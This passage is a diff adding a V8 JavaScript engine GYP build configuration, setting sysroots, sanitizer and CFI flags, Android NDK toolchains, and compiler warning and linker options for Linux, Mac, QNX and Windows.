+        # Default sysroot if no sysroot can be provided.
+        'sysroot%': '',
+
+        'conditions': [
+          # The system root for linux builds.
+          ['OS=="linux" and use_sysroot==1', {
+            'conditions': [
+              ['target_arch=="arm"', {
+                'sysroot%': '<!(cd <(DEPTH) && pwd -P)/build/linux/debian_wheezy_arm-sysroot',
+              }],
+              ['target_arch=="x64"', {
+                'sysroot%': '<!(cd <(DEPTH) && pwd -P)/build/linux/debian_wheezy_amd64-sysroot',
+              }],
+              ['target_arch=="ia32"', {
+                'sysroot%': '<!(cd <(DEPTH) && pwd -P)/build/linux/debian_wheezy_i386-sysroot',
+              }],
+              ['target_arch=="mipsel"', {
+                'sysroot%': '<!(cd <(DEPTH) && pwd -P)/build/linux/debian_wheezy_mips-sysroot',
+              }],
+            ],
+          }], # OS=="linux" and use_sysroot==1
+        ],
+      },
+      'base_dir%': '<(base_dir)',
+      'host_arch%': '<(host_arch)',
+      'target_arch%': '<(target_arch)',
+      'v8_target_arch%': '<(target_arch)',
+      'coverage%': '<(coverage)',
+      'sysroot%': '<(sysroot)',
+      'asan%': 0,
+      'lsan%': 0,
+      'msan%': 0,
+      'tsan%': 0,
+      # Enable coverage gathering instrumentation in sanitizer tools. This flag
+      # also controls coverage granularity (1 for function-level, 2 for
+      # block-level, 3 for edge-level).
+      'sanitizer_coverage%': 0,
+
+      # Use dynamic libraries instrumented by one of the sanitizers
+      # instead of the standard system libraries. Set this flag to download
+      # prebuilt binaries from GCS.
+      'use_prebuilt_instrumented_libraries%': 0,
+
+      # Use libc++ (buildtools/third_party/libc++ and
+      # buildtools/third_party/libc++abi) instead of stdlibc++ as standard
+      # library. This is intended to be used for instrumented builds.
+      'use_custom_libcxx%': 0,
+
+      'clang_dir%': '<(base_dir)/third_party/llvm-build/Release+Asserts',
+      'make_clang_dir%': '<(base_dir)/third_party/llvm-build/Release+Asserts',
+
+      'use_lto%': 0,
+
+      # Control Flow Integrity for virtual calls and casts.
+      # See http://clang.llvm.org/docs/ControlFlowIntegrity.html
+      'cfi_vptr%': 0,
+      'cfi_diag%': 0,
+
+      'cfi_blacklist%': '<(base_dir)/tools/cfi/blacklist.txt',
+
+      # Set to 1 to enable fast builds.
+      # TODO(machenbach): Only configured for windows.
+      'fastbuild%': 0,
+
+      # goma settings.
+      # 1 to use goma.
+      # If no gomadir is set, it uses the default gomadir.
+      'use_goma%': 0,
+      'gomadir%': '',
+
+      'test_isolation_mode%': 'noop',
+
+      # By default, use ICU data file (icudtl.dat).
+      'icu_use_data_file_flag%': 1,
+
+      'conditions': [
+        # Set default gomadir.
+        ['OS=="win"', {
+          'gomadir': 'c:\\goma\\goma-win',
+        }, {
+          'gomadir': '<!(/bin/echo -n ${HOME}/goma)',
+        }],
+        ['host_arch!="ppc" and host_arch!="ppc64" and host_arch!="ppc64le" and host_arch!="s390" and host_arch!="s390x"', {
+          'host_clang%': 1,
+        }, {
+          'host_clang%': 0,
+        }],
+        # linux_use_bundled_gold: whether to use the gold linker binary checked
+        # into third_party/binutils.  Force this off via GYP_DEFINES when you
+        # are using a custom toolchain and need to control -B in ldflags.
+        # Do not use 32-bit gold on 32-bit hosts as it runs out address space
+        # for component=static_library builds.
+        ['((OS=="linux" or OS=="android") and (target_arch=="x64" or target_arch=="arm" or (target_arch=="ia32" and host_arch=="x64"))) or (OS=="linux" and target_arch=="mipsel")', {
+          'linux_use_bundled_gold%': 1,
+        }, {
+          'linux_use_bundled_gold%': 0,
+        }],
+      ],
+    },
+    'base_dir%': '<(base_dir)',
+    'clang_dir%': '<(clang_dir)',
+    'make_clang_dir%': '<(make_clang_dir)',
+    'host_arch%': '<(host_arch)',
+    'host_clang%': '<(host_clang)',
+    'target_arch%': '<(target_arch)',
+    'v8_target_arch%': '<(v8_target_arch)',
+    'werror%': '-Werror',
+    'use_goma%': '<(use_goma)',
+    'gomadir%': '<(gomadir)',
+    'asan%': '<(asan)',
+    'lsan%': '<(lsan)',
+    'msan%': '<(msan)',
+    'tsan%': '<(tsan)',
+    'sanitizer_coverage%': '<(sanitizer_coverage)',
+    'use_prebuilt_instrumented_libraries%': '<(use_prebuilt_instrumented_libraries)',
+    'use_custom_libcxx%': '<(use_custom_libcxx)',
+    'linux_use_bundled_gold%': '<(linux_use_bundled_gold)',
+    'use_lto%': '<(use_lto)',
+    'cfi_vptr%': '<(cfi_vptr)',
+    'cfi_diag%': '<(cfi_diag)',
+    'cfi_blacklist%': '<(cfi_blacklist)',
+    'test_isolation_mode%': '<(test_isolation_mode)',
+    'fastbuild%': '<(fastbuild)',
+    'coverage%': '<(coverage)',
+    'sysroot%': '<(sysroot)',
+    'icu_use_data_file_flag%': '<(icu_use_data_file_flag)',
+
+    # Add a simple extras solely for the purpose of the cctests
+    'v8_extra_library_files': ['../test/cctest/test-extra.js'],
+    'v8_experimental_extra_library_files': ['../test/cctest/test-experimental-extra.js'],
+
+    # .gyp files or targets should set v8_code to 1 if they build V8 specific
+    # code, as opposed to external code.  This variable is used to control such
+    # things as the set of warnings to enable, and whether warnings are treated
+    # as errors.
+    'v8_code%': 0,
+
+    # Speeds up Debug builds:
+    # 0 - Compiler optimizations off (debuggable) (default). This may
+    #     be 5x slower than Release (or worse).
+    # 1 - Turn on optimizations and disable slow DCHECKs, but leave
+    #     V8_ENABLE_CHECKS and most other assertions enabled.  This may cause
+    #     some v8 tests to fail in the Debug configuration.  This roughly
+    #     matches the performance of a Release build and can be used by
+    #     embedders that need to build their own code as debug but don't want
+    #     or need a debug version of V8. This should produce near-release
+    #     speeds.
+    'v8_optimized_debug%': 0,
+
+    # Use external files for startup data blobs:
+    # the JS builtins sources and the start snapshot.
+    # Embedders that don't use standalone.gypi will need to add
+    # their own default value.
+    'v8_use_external_startup_data%': 1,
+
+    # Relative path to icu.gyp from this file.
+    'icu_gyp_path': '../third_party/icu/icu.gyp',
+
+    # Relative path to inspector.gyp from this file.
+    'inspector_gyp_path': '../src/v8-inspector/inspector.gyp',
+
+    'conditions': [
+      ['(v8_target_arch=="arm" and host_arch!="arm") or \
+        (v8_target_arch=="arm64" and host_arch!="arm64") or \
+        (v8_target_arch=="mipsel" and host_arch!="mipsel") or \
+        (v8_target_arch=="mips64el" and host_arch!="mips64el") or \
+        (v8_target_arch=="x64" and host_arch!="x64") or \
+        (OS=="android" or OS=="qnx")', {
+        'want_separate_host_toolset': 1,
+      }, {
+        'want_separate_host_toolset': 0,
+      }],
+      ['(v8_target_arch=="arm" and host_arch!="arm") or \
+        (v8_target_arch=="arm64" and host_arch!="arm64") or \
+        (v8_target_arch=="mipsel" and host_arch!="mipsel") or \
+        (v8_target_arch=="mips64el" and host_arch!="mips64el") or \
+        (v8_target_arch=="mips" and host_arch!="mips") or \
+        (v8_target_arch=="mips64" and host_arch!="mips64") or \
+        (v8_target_arch=="x64" and host_arch!="x64") or \
+        (OS=="android" or OS=="qnx")', {
+        'want_separate_host_toolset_mkpeephole': 1,
+      }, {
+        'want_separate_host_toolset_mkpeephole': 0,
+      }],
+      ['OS == "win"', {
+        'os_posix%': 0,
+      }, {
+        'os_posix%': 1,
+      }],
+      ['OS=="win" and use_goma==1', {
+        # goma doesn't support pch yet.
+        'chromium_win_pch': 0,
+        # goma doesn't support PDB yet.
+        'fastbuild%': 1,
+      }],
+      ['((v8_target_arch=="ia32" or v8_target_arch=="x64" or v8_target_arch=="x87") and \
+        (OS=="linux" or OS=="mac")) or (v8_target_arch=="ppc64" and OS=="linux")', {
+        'v8_enable_gdbjit%': 1,
+      }, {
+        'v8_enable_gdbjit%': 0,
+      }],
+      ['(OS=="linux" or OS=="mac") and (target_arch=="ia32" or target_arch=="x64") and \
+        (v8_target_arch!="x87" and v8_target_arch!="x32")', {
+        'clang%': 1,
+      }, {
+        'clang%': 0,
+      }],
+      ['asan==1 or lsan==1 or msan==1 or tsan==1', {
+        'clang%': 1,
+        'use_allocator%': 'none',
+      }],
+      ['asan==1 and OS=="linux"', {
+        'use_custom_libcxx%': 1,
+      }],
+      ['tsan==1', {
+        'use_custom_libcxx%': 1,
+      }],
+      ['msan==1', {
+        # Use a just-built, MSan-instrumented libc++ instead of the system-wide
+        # libstdc++. This is required to avoid false positive reports whenever
+        # the C++ standard library is used.
+        'use_custom_libcxx%': 1,
+      }],
+      ['cfi_vptr==1', {
+        'use_lto%': 1,
+      }],
+      ['OS=="android"', {
+        # Location of Android NDK.
+        'variables': {
+          'variables': {
+            # The Android toolchain needs to use the absolute path to the NDK
+            # because it is used at different levels in the GYP files.
+            'android_ndk_root%': '<(base_dir)/third_party/android_tools/ndk/',
+            'android_host_arch%': "<!(uname -m | sed -e 's/i[3456]86/x86/')",
+            # Version of the NDK. Used to ensure full rebuilds on NDK rolls.
+            'android_ndk_version%': 'r12b',
+            'host_os%': "<!(uname -s | sed -e 's/Linux/linux/;s/Darwin/mac/')",
+            'os_folder_name%': "<!(uname -s | sed -e 's/Linux/linux/;s/Darwin/darwin/')",
+          },
+
+          # Copy conditionally-set variables out one scope.
+          'android_ndk_root%': '<(android_ndk_root)',
+          'android_ndk_version%': '<(android_ndk_version)',
+          'host_os%': '<(host_os)',
+          'os_folder_name%': '<(os_folder_name)',
+
+          'conditions': [
+            ['target_arch == "ia32"', {
+              'android_toolchain%': '<(android_ndk_root)/toolchains/x86-4.9/prebuilt/<(os_folder_name)-<(android_host_arch)/bin',
+              'android_target_arch%': 'x86',
+              'android_target_platform%': '16',
+              'arm_version%': 'default',
+            }],
+            ['target_arch == "x64"', {
+              'android_toolchain%': '<(android_ndk_root)/toolchains/x86_64-4.9/prebuilt/<(os_folder_name)-<(android_host_arch)/bin',
+              'android_target_arch%': 'x86_64',
+              'android_target_platform%': '21',
+              'arm_version%': 'default',
+            }],
+            ['target_arch=="arm"', {
+              'android_toolchain%': '<(android_ndk_root)/toolchains/arm-linux-androideabi-4.9/prebuilt/<(os_folder_name)-<(android_host_arch)/bin',
+              'android_target_arch%': 'arm',
+              'android_target_platform%': '16',
+              'arm_version%': 7,
+            }],
+            ['target_arch == "arm64"', {
+              'android_toolchain%': '<(android_ndk_root)/toolchains/aarch64-linux-android-4.9/prebuilt/<(os_folder_name)-<(android_host_arch)/bin',
+              'android_target_arch%': 'arm64',
+              'android_target_platform%': '21',
+              'arm_version%': 'default',
+            }],
+            ['target_arch == "mipsel"', {
+              'android_toolchain%': '<(android_ndk_root)/toolchains/mipsel-linux-android-4.9/prebuilt/<(os_folder_name)-<(android_host_arch)/bin',
+              'android_target_arch%': 'mips',
+              'android_target_platform%': '16',
+              'arm_version%': 'default',
+            }],
+            ['target_arch == "mips64el"', {
+              'android_toolchain%': '<(android_ndk_root)/toolchains/mips64el-linux-android-4.9/prebuilt/<(os_folder_name)-<(android_host_arch)/bin',
+              'android_target_arch%': 'mips64',
+              'android_target_platform%': '21',
+              'arm_version%': 'default',
+            }],
+          ],
+        },
+
+        # Copy conditionally-set variables out one scope.
+        'android_ndk_version%': '<(android_ndk_version)',
+        'android_target_arch%': '<(android_target_arch)',
+        'android_target_platform%': '<(android_target_platform)',
+        'android_toolchain%': '<(android_toolchain)',
+        'arm_version%': '<(arm_version)',
+        'host_os%': '<(host_os)',
+
+        # Print to stdout on Android.
+        'v8_android_log_stdout%': 1,
+
+        'conditions': [
+          ['android_ndk_root==""', {
+            'variables': {
+              'android_sysroot': '<(android_toolchain)/sysroot/',
+              'android_stl': '<(android_toolchain)/sources/cxx-stl/',
+            },
+            'conditions': [
+              ['target_arch=="x64"', {
+                'android_lib': '<(android_sysroot)/usr/lib64',
+              }, {
+                'android_lib': '<(android_sysroot)/usr/lib',
+              }],
+            ],
+            'android_libcpp_include': '<(android_stl)/llvm-libc++/libcxx/include',
+            'android_libcpp_abi_include': '<(android_stl)/llvm-libc++abi/libcxxabi/include',
+            'android_libcpp_libs': '<(android_stl)/llvm-libc++/libs',
+            'android_support_include': '<(android_toolchain)/sources/android/support/include',
+            'android_sysroot': '<(android_sysroot)',
+          }, {
+            'variables': {
+              'android_sysroot': '<(android_ndk_root)/platforms/android-<(android_target_platform)/arch-<(android_target_arch)',
+              'android_stl': '<(android_ndk_root)/sources/cxx-stl/',
+            },
+            'conditions': [
+              ['target_arch=="x64"', {
+                'android_lib': '<(android_sysroot)/usr/lib64',
+              }, {
+                'android_lib': '<(android_sysroot)/usr/lib',
+              }],
+            ],
+            'android_libcpp_include': '<(android_stl)/llvm-libc++/libcxx/include',
+            'android_libcpp_abi_include': '<(android_stl)/llvm-libc++abi/libcxxabi/include',
+            'android_libcpp_libs': '<(android_stl)/llvm-libc++/libs',
+            'android_support_include': '<(android_ndk_root)/sources/android/support/include',
+            'android_sysroot': '<(android_sysroot)',
+          }],
+        ],
+        'android_libcpp_library': 'c++_static',
+      }],  # OS=="android"
+      ['host_clang==1', {
+        'conditions':[
+          ['OS=="android"', {
+            'host_ld': '<!(which ld)',
+            'host_ranlib': '<!(which ranlib)',
+          }],
+        ],
+        'host_cc': '<(clang_dir)/bin/clang',
+        'host_cxx': '<(clang_dir)/bin/clang++',
+      }, {
+        'host_cc': '<!(which gcc)',
+        'host_cxx': '<!(which g++)',
+      }],
+    ],
+    # Default ARM variable settings.
+    'arm_version%': 'default',
+    'arm_fpu%': 'vfpv3',
+    'arm_float_abi%': 'default',
+    'arm_thumb': 'default',
+
+    # Default MIPS variable settings.
+    'mips_arch_variant%': 'r2',
+    # Possible values fp32, fp64, fpxx.
+    # fp32 - 32 32-bit FPU registers are available, doubles are placed in
+    #        register pairs.
+    # fp64 - 32 64-bit FPU registers are available.
+    # fpxx - compatibility mode, it chooses fp32 or fp64 depending on runtime
+    #        detection
+    'mips_fpu_mode%': 'fp32',
+  },
+  'target_defaults': {
+    'variables': {
+      'v8_code%': '<(v8_code)',
+      'clang_warning_flags': [
+        '-Wsign-compare',
+        # TODO(thakis): https://crbug.com/604888
+        '-Wno-undefined-var-template',
+        # TODO(yangguo): issue 5258
+        '-Wno-nonportable-include-path',
+      ],
+      'conditions':[
+        ['OS=="android"', {
+          'host_os%': '<(host_os)',
+        }],
+      ],
+    },
+    'includes': [ 'set_clang_warning_flags.gypi', ],
+    'default_configuration': 'Debug',
+    'configurations': {
+      'DebugBaseCommon': {
+        'conditions': [
+          ['OS=="aix"', {
+            'cflags': [ '-g', '-Og', '-gxcoff' ],
+          }, {
+            'cflags': [ '-g', '-O0' ],
+          }],
+        ],
+      },
+      'Optdebug': {
+        'inherit_from': [ 'DebugBaseCommon', 'DebugBase1' ],
+      },
+      'Debug': {
+        # Xcode insists on this empty entry.
+      },
+      'Release': {
+        'cflags+': ['<@(release_extra_cflags)'],
+      },
+      'conditions': [
+        ['OS=="win"', {
+          'Optdebug_x64': {
+            'inherit_from': ['Optdebug'],
+          },
+          'Debug_x64': {
+            'inherit_from': ['Debug'],
+          },
+          'Release_x64': {
+            'inherit_from': ['Release'],
+          },
+        }],
+      ],
+    },
+    'conditions':[
+      ['clang==0', {
+        'cflags+': [
+          '-Wno-uninitialized',
+        ],
+      }],
+      ['clang==1 or host_clang==1', {
+        # This is here so that all files get recompiled after a clang roll and
+        # when turning clang on or off.
+        # (defines are passed via the command line, and build systems rebuild
+        # things when their commandline changes). Nothing should ever read this
+        # define.
+        'defines': ['CR_CLANG_REVISION=<!(python <(DEPTH)/tools/clang/scripts/update.py --print-revision)'],
+      }],
+      ['clang==1 and target_arch=="ia32"', {
+        'cflags': ['-mstack-alignment=16', '-mstackrealign'],
+      }],
+      ['fastbuild!=0', {
+        'conditions': [
+          ['OS=="win" and fastbuild==1', {
+            'msvs_settings': {
+              'VCLinkerTool': {
+                # This tells the linker to generate .pdbs, so that
+                # we can get meaningful stack traces.
+                'GenerateDebugInformation': 'true',
+              },
+              'VCCLCompilerTool': {
+                # No debug info to be generated by compiler.
+                'DebugInformationFormat': '0',
+              },
+            },
+          }],
+        ],
+      }],  # fastbuild!=0
+    ],
+    'target_conditions': [
+      ['v8_code == 0', {
+        'defines!': [
+          'DEBUG',
+        ],
+        'conditions': [
+          ['os_posix == 1 and OS != "mac"', {
+            # We don't want to get warnings from third-party code,
+            # so remove any existing warning-enabling flags like -Wall.
+            'cflags!': [
+              '-pedantic',
+              '-Wall',
+              '-Werror',
+              '-Wextra',
+              '-Wshorten-64-to-32',
+            ],
+            'cflags+': [
+              # Clang considers the `register` keyword as deprecated, but
+              # ICU uses it all over the place.
+              '-Wno-deprecated-register',
+              # ICU uses its own deprecated functions.
+              '-Wno-deprecated-declarations',
+              # ICU prefers `a && b || c` over `(a && b) || c`.
+              '-Wno-logical-op-parentheses',
+              # ICU has some `unsigned < 0` checks.
+              '-Wno-tautological-compare',
+              # uresdata.c has switch(RES_GET_TYPE(x)) code. The
+              # RES_GET_TYPE macro returns an UResType enum, but some switch
+              # statement contains case values that aren't part of that
+              # enum (e.g. URES_TABLE32 which is in UResInternalType). This
+              # is on purpose.
+              '-Wno-switch',
+            ],
+            'cflags_cc!': [
+              '-Wnon-virtual-dtor',
+            ],
+          }],
+          ['OS == "mac"', {
+            'xcode_settings': {
+              'GCC_TREAT_WARNINGS_AS_ERRORS': 'NO',    # -Werror
+            },
+          }],
+          ['OS == "win"', {
+            'msvs_settings': {
+              'VCCLCompilerTool': {
+                'WarnAsError': 'false',
+              },
+            },
+          }],
+        ],
+      }],
+    ],
+  },
+  'conditions': [
+    ['os_posix==1 and OS!="mac"', {
+      'target_defaults': {
+        'conditions': [
+          # Common options for AddressSanitizer, LeakSanitizer,
+          # ThreadSanitizer, MemorySanitizer and CFI builds.
+          ['asan==1 or lsan==1 or tsan==1 or msan==1 or cfi_vptr==1', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fno-omit-frame-pointer',
+                  '-gline-tables-only',
+                ],
+                'cflags!': [
+                  '-fomit-frame-pointer',
+                ],
+              }],
+            ],
+          }],
+          ['asan==1', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fsanitize=address',
+                ],
+                'ldflags': [
+                  '-fsanitize=address',
+                ],
+                'defines': [
+                  'ADDRESS_SANITIZER',
+                ],
+              }],
+            ],
+          }],
+          ['lsan==1', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fsanitize=leak',
+                ],
+                'ldflags': [
+                  '-fsanitize=leak',
+                ],
+                'defines': [
+                  'LEAK_SANITIZER',
+                ],
+              }],
+            ],
+          }],
+          ['tsan==1', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fsanitize=thread',
+                ],
+                'ldflags': [
+                  '-fsanitize=thread',
+                ],
+                'defines': [
+                  'THREAD_SANITIZER',
+                ],
+              }],
+            ],
+          }],
+          ['msan==1', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fsanitize=memory',
+                  '-fsanitize-memory-track-origins=<(msan_track_origins)',
+                  '-fPIC',
+                ],
+                'ldflags': [
+                  '-fsanitize=memory',
+                  '-pie',
+                ],
+                'defines': [
+                  'MEMORY_SANITIZER',
+                ],
+              }],
+            ],
+          }],
+          ['use_prebuilt_instrumented_libraries==1', {
+            'dependencies': [
+              '<(DEPTH)/third_party/instrumented_libraries/instrumented_libraries.gyp:prebuilt_instrumented_libraries',
+            ],
+          }],
+          ['use_custom_libcxx==1', {
+            'dependencies': [
+              '<(DEPTH)/buildtools/third_party/libc++/libc++.gyp:libcxx_proxy',
+            ],
+          }],
+          ['sanitizer_coverage!=0', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fsanitize-coverage=<(sanitizer_coverage)',
+                ],
+                'defines': [
+                  'SANITIZER_COVERAGE',
+                ],
+              }],
+            ],
+          }],
+          ['linux_use_bundled_gold==1 and not (clang==0 and use_lto==1)', {
+            # Put our binutils, which contains gold in the search path. We pass
+            # the path to gold to the compiler. gyp leaves unspecified what the
+            # cwd is when running the compiler, so the normal gyp path-munging
+            # fails us. This hack gets the right path.
+            #
+            # Disabled when using GCC LTO because GCC also uses the -B search
+            # path at link time to find "as", and our bundled "as" can only
+            # target x86.
+            'ldflags': [
+              # Note, Chromium allows ia32 host arch as well, we limit this to
+              # x64 in v8.
+              '-B<(base_dir)/third_party/binutils/Linux_x64/Release/bin',
+            ],
+          }],
+          ['sysroot!="" and clang==1', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '--sysroot=<(sysroot)',
+                ],
+                'ldflags': [
+                  '--sysroot=<(sysroot)',
+                  '<!(<(DEPTH)/build/linux/sysroot_ld_path.sh <(sysroot))',
+                ],
+              }]]
+          }],
+        ],
+      },
+    }],
+    ['OS=="mac"', {
+      'target_defaults': {
+       'conditions': [
+          ['asan==1', {
+            'xcode_settings': {
+              # FIXME(machenbach): This is outdated compared to common.gypi.
+              'OTHER_CFLAGS+': [
+                '-fno-omit-frame-pointer',
+                '-gline-tables-only',
+                '-fsanitize=address',
+                '-w',  # http://crbug.com/162783
+              ],
+              'OTHER_CFLAGS!': [
+                '-fomit-frame-pointer',
+              ],
+              'defines': [
+                'ADDRESS_SANITIZER',
+              ],
+            },
+            'dependencies': [
+              '<(DEPTH)/gypfiles/mac/asan.gyp:asan_dynamic_runtime',
+            ],
+            'target_conditions': [
+              ['_type!="static_library"', {
+                'xcode_settings': {'OTHER_LDFLAGS': ['-fsanitize=address']},
+              }],
+            ],
+          }],
+          ['sanitizer_coverage!=0', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'cflags': [
+                  '-fsanitize-coverage=<(sanitizer_coverage)',
+                ],
+                'defines': [
+                  'SANITIZER_COVERAGE',
+                ],
+              }],
+            ],
+          }],
+        ],
+      },  # target_defaults
+    }],  # OS=="mac"
+    ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="solaris" \
+       or OS=="netbsd" or OS=="aix"', {
+      'target_defaults': {
+        'cflags': [
+          '-Wall',
+          '<(werror)',
+          '-Wno-unused-parameter',
+          '-pthread',
+          '-pedantic',
+          '-Wmissing-field-initializers',
+          '-Wno-gnu-zero-variadic-macro-arguments',
+        ],
+        'cflags_cc': [
+          '-Wnon-virtual-dtor',
+          '-fno-exceptions',
+          '-fno-rtti',
+          '-std=gnu++11',
+        ],
+        'ldflags': [ '-pthread', ],
+        'conditions': [
+          # Don't warn about TRACE_EVENT_* macros with zero arguments passed to
+          # ##__VA_ARGS__. C99 strict mode prohibits having zero variadic macro
+          # arguments in gcc.
+          [ 'clang==0', {
+            'cflags!' : [
+              '-pedantic' ,
+              # Don't warn about unrecognized command line option.
+              '-Wno-gnu-zero-variadic-macro-arguments',
+            ],
+          }],
+          [ 'clang==1 and (v8_target_arch=="x64" or v8_target_arch=="arm64" \
+            or v8_target_arch=="mips64el")', {
+            'cflags': [ '-Wshorten-64-to-32' ],
+          }],
+          [ 'host_arch=="ppc64" and OS!="aix"', {
+            'cflags': [ '-mminimal-toc' ],
+          }],
+          [ 'visibility=="hidden" and v8_enable_backtrace==0', {
+            'cflags': [ '-fvisibility=hidden' ],
+          }],
+          [ 'component=="shared_library"', {
+            'cflags': [ '-fPIC', ],
+          }],
+          [ 'clang==0 and coverage==1', {
+            'cflags': [ '-fprofile-arcs', '-ftest-coverage'],
+            'ldflags': [ '-fprofile-arcs'],
+          }],
+        ],
+      },
+    }],
+    # 'OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="solaris"
+    #  or OS=="netbsd"'
+    ['OS=="qnx"', {
+      'target_defaults': {
+        'cflags': [
+          '-Wall',
+          '<(werror)',
+          '-Wno-unused-parameter',
+          # Don't warn about the "struct foo f = {0};" initialization pattern.
+          '-Wno-missing-field-initializers',
+          '-Wno-gnu-zero-variadic-macro-arguments',
+        ],
+        'cflags_cc': [
+          '-Wnon-virtual-dtor',
+          '-fno-exceptions',
+          '-fno-rtti',
+          '-std=gnu++11',
+        ],
+        'conditions': [
+          [ 'visibility=="hidden"', {
+            'cflags': [ '-fvisibility=hidden' ],
+          }],
+          [ 'component=="shared_library"', {
+            'cflags': [ '-fPIC' ],
+          }],
+        ],
+        'target_conditions': [
+          [ '_toolset=="host" and host_os=="linux"', {
+            'cflags': [ '-pthread' ],
+            'ldflags': [ '-pthread' ],
+            'libraries': [ '-lrt' ],
+          }],
+          [ '_toolset=="target"', {
+            'cflags': [ '-Wno-psabi' ],
+            'libraries': [ '-lbacktrace', '-lsocket', '-lm' ],
+          }],
+        ],
+      },
+    }],  # OS=="qnx"
+    ['OS=="win"', {
+      'target_defaults': {
+        'defines': [
+          '_CRT_SECURE_NO_DEPRECATE',
+          '_CRT_NONSTDC_NO_DEPRECATE',
+          '_USING_V110_SDK71_',
+        ],
+        'conditions': [
+          ['component=="static_library"', {
+            'defines': [
+              '_HAS_EXCEPTIONS=0',
+            ],
+          }],
+        ],
+        'msvs_cygwin_dirs': ['<(DEPTH)/third_party/cygwin'],
+        'msvs_disabled_warnings': [
+          # C4091: 'typedef ': ignored on left of 'X' when no variable is
+          #                    declared.
+          # This happens in a number of Windows headers. Dumb.
+          4091,
+
+          # C4127: conditional expression is constant
+          # This warning can in theory catch dead code and other problems, but
+          # triggers in far too many desirable cases where the conditional
+          # expression is either set by macros or corresponds some legitimate
+          # compile-time constant expression (due to constant template args,
+          # conditionals comparing the sizes of different types, etc.).  Some of
+          # these can be worked around, but it's not worth it.
+          4127,
+
+          # C4351: new behavior: elements of array 'array' will be default
+          #        initialized
+          # This is a silly "warning" that basically just alerts you that the
+          # compiler is going to actually follow the language spec like it's
+          # supposed to, instead of not following it like old buggy versions
+          # did.  There's absolutely no reason to turn this on.
+          4351,
+
+          # C4355: 'this': used in base member initializer list
+          # It's commonly useful to pass |this| to objects in a class'
+          # initializer list.  While this warning can catch real bugs, most of
+          # the time the constructors in question don't attempt to call methods
+          # on the passed-in pointer (until later), and annotating every legit
+          # usage of this is simply more hassle than the warning is worth.
+          4355,
+
+          # C4503: 'identifier': decorated name length exceeded, name was
+          #        truncated
+          # This only means that some long error messages might have truncated
+          # identifiers in the presence of lots of templates.  It has no effect
+          # on program correctness and there's no real reason to waste time
+          # trying to prevent it.
+          4503,
+
+          # Warning C4589 says: "Constructor of abstract class ignores
+          # initializer for virtual base class." Disable this warning because it
+          # is flaky in VS 2015 RTM. It triggers on compiler generated
+          # copy-constructors in some cases.
+          4589,
+
+          # C4611: interaction between 'function' and C++ object destruction is
+          #        non-portable
+          # This warning is unavoidable when using e.g. setjmp/longjmp.  MSDN
+          # suggests using exceptions instead of setjmp/longjmp for C++, but
+          # Chromium code compiles without exception support.  We therefore have
+          # to use setjmp/longjmp for e.g. JPEG decode error handling, which
+          # means we have to turn off this warning (and be careful about how
+          # object destruction happens in such cases).
+          4611,
+
+          # TODO(jochen): These warnings are level 4. They will be slowly
+          # removed as code is fixed.
+          4100, # Unreferenced formal parameter
+          4121, # Alignment of a member was sensitive to packing
+          4244, # Conversion from 'type1' to 'type2', possible loss of data
+          4302, # Truncation from 'type 1' to 'type 2'
+          4309, # Truncation of constant value
+          4311, # Pointer truncation from 'type' to 'type'
+          4312, # Conversion from 'type1' to 'type2' of greater size
+          4505, # Unreferenced local function has been removed
+          4510, # Default constructor could not be generated
+          4512, # Assignment operator could not be generated
+          4610, # Object can never be instantiated
+          4800, # Forcing value to bool.
+          4838, # Narrowing conversion. Doesn't seem to be very useful.
+          4995, # 'X': name was marked as #pragma deprecated
+          4996, # 'X': was declared deprecated (for GetVersionEx).
+
+          # These are variable shadowing warnings that are new in VS2015. We
+          # should work through these at some point -- they may be removed from
+          # the RTM release in the /W4 set.
+          4456, 4457, 4458, 4459,
+        ],
+        'msvs_settings': {
+          'VCCLCompilerTool': {
+            'MinimalRebuild': 'false',
+            'BufferSecurityCheck': 'true',
+            'EnableFunctionLevelLinking': 'true',
+            'RuntimeTypeInfo': 'false',
+            'WarningLevel': '3',
+            'WarnAsError': 'true',
+            'DebugInformationFormat': '3',
+            'Detect64BitPortabilityProblems': 'false',
+            'conditions': [
+              [ 'msvs_multi_core_compile', {
+                'AdditionalOptions': ['/MP'],
+              }],
+              ['component=="shared_library"', {
+                'ExceptionHandling': '1',  # /EHsc
+              }, {
+                'ExceptionHandling': '0',
+              }],
+            ],
+          },
+          'VCLibrarianTool': {
+            'AdditionalOptions': ['/ignore:4221'],
+            'conditions': [
+              ['v8_target_arch=="x64"', {
+                'TargetMachine': '17',  # x64
+              }, {
+                'TargetMachine': '1',  # ia32
+              }],
+            ],
+          },
+          'VCLinkerTool': {
+            'AdditionalDependencies': [
+              'ws2_32.lib',
+            ],
+            'GenerateDebugInformation': 'true',
+            'MapFileName': '$(OutDir)\\$(TargetName).map',
+            'ImportLibrary': '$(OutDir)\\lib\\$(TargetName).lib',
+            'FixedBaseAddress': '1',
+            # LinkIncremental values:
+            #   0 == default
+            #   1 == /INCREMENTAL:NO
+            #   2 == /INCREMENTAL
+            'LinkIncremental': '1',
+            # SubSystem values:
+            #   0 == not set
+            #   1 == /SUBSYSTEM:CONSOLE
+            #   2 == /SUBSYSTEM:WINDOWS
+            'SubSystem': '1',
+
+            'conditions': [
+              ['v8_enable_i18n_support==1', {
+                'AdditionalDependencies': [
+                  'advapi32.lib',
+                ],
+              }],
+              ['v8_target_arch=="x64"', {
+                'MinimumRequiredVersion': '5.02',  # Server 2003.
+                'TargetMachine': '17',  # x64
+              }, {
+                'MinimumRequiredVersion': '5.01',  # XP.
+                'TargetMachine': '1',  # ia32
+              }],
+            ],
+          },
+          'conditions': [
+            ['clang==1', {
+              'VCCLCompilerTool': {
+                'AdditionalOptions': [
+                  # Don't warn about unused function parameters.
+                  # (This is also used on other platforms.)
+                  '-Wno-unused-parameter',
+                  # Don't warn about the "struct foo f = {0};" initialization
+                  # pattern.
+                  '-Wno-missing-field-initializers',
+
